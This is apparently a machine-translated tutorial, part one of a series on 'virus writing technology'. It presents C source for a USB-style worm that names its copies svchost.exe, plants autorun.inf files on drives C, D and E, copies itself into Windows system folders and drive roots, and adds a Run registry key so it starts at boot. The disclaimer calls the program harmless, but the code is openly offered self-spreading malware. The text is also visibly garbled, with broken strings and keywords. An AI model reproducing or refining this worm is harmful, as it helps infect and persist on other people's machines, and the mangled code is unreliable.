This article only discusses virus Writing Technology and does not discuss computer and network hazards. The program in this example is just a harmless template. You will see in serialization 2:
Methods of virus damage to system files, virus infection to files, virus generation of junk files, the virus is more concealed methods.
Experiments can be expanded within the technical scope and legal scope.
Please ensure that you do not use this program for illegal activities before reading this program; otherwise, please leave immediately.
Attach 1-the most basic virus.
Features of the virus:
1. Cost virus files in C, D, E, and C: \ WINDOWS \ SYSTEM, C: \ WINDOWS
2. generate an automatic running file in drive C, drive D, and drive E
3. Register C: \ WINDOWS \ SYSTEM \ svchost.exe to enable it to run automatically upon startup.
4. Generate concealed DLL files in C: \ WINDOWS \ SYSTEM
5. The virus has the associated replication capability after execution
This virus is similar to the prototype of a general USB flash drive and has the ability to copy and run itself.
The following program is compiled in DEV-CPP 4.9.9.2 (GCC compiler) through
Save it as SVCHOST. C for compiling and running. This virus has no harm to the computer.
1/* SVCHOST. C */
2/* SVCHOST. EXE */
3
4 # define svchost_num 6
5 # include <stdio. h>
6 # include <string. h>
7 char * Autorun = {"[Autorun] \ nopen#svchost.exe \ n \ nshell \ 1 = open \ nshell \ 1 \ command1_svchost.exe \ nshell \ 2 \ = open \ nshell \ 2 \ commandcmdsvchost.exe \ nshellexecute1_svchost.exe "};
8 char * files_autorun [10] = {"C: \ autorun. inf", "d: \ autorun. inf", "E: \ autorun. inf "};
9 char * files_svchost [svchost_num + 1] = {"C: \ Windows \ System \ msmouse. dll ",
10 "C :\\ WINDOWS \ SYSTEM \ svchost.exe", "C :\\ Windows \ svchost.exe ",
11 "C :\\ svchost.exe", "d :\\ svchost.exe", "e :\\ svchost.exe", "svchost.exe "};
12 char * regadd = "Reg add \" HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ "/V svchost/d c: \ Windows \ System \ svchost.exe/F ";
13
14 int copy (char * infile, char * OUTFILE)
15 {
16 file * input, * output;
17 char temp;
18 if (strcmp (infile, OUTFILE )! = 0 & (input = fopen (infile, "rb "))! = NULL) & (output = fopen
19
20 (OUTFILE, "WB "))! = NULL ))
21 {
22 while (! Feof (input ))
23 {
24 fread (& temp, 1, 1, input );
25 fwrite (& temp, 1,1, output );
26}
27 fclose (input );
28 fclose (output );
29 return 0;
30}
31 else return 1;
32}
33 int main (void)
34 {
35 file * input, * output;
36 int I, K;
37 For (I = 0; I <3; I ++)
38 {
39 Output = fopen (files_autorun [I], "W ");
40 fprintf (output, "% s", Autorun );
41 fclose (output );
42}
43 for (I = 0; I <= svchost_num; I ++)
44 {
45 if (input = fopen (files_svchost [I], "rb "))! = NULL)
46 {
47 fclose (input );
48 for (k = 0; k <svchost_num; k ++)
49 {
50 copy (files_svchost [I], files_svchost [k]);
51}
52 I = svchost_num + 1;
53}
54}
55 System (regadd);/* Register svchost.exe so that it runs at startup */
56 return 0;
57}
In serialization 2, you will see:
Methods of virus damage to system files, virus infection to files, virus generation of junk files, the virus is more concealed methods.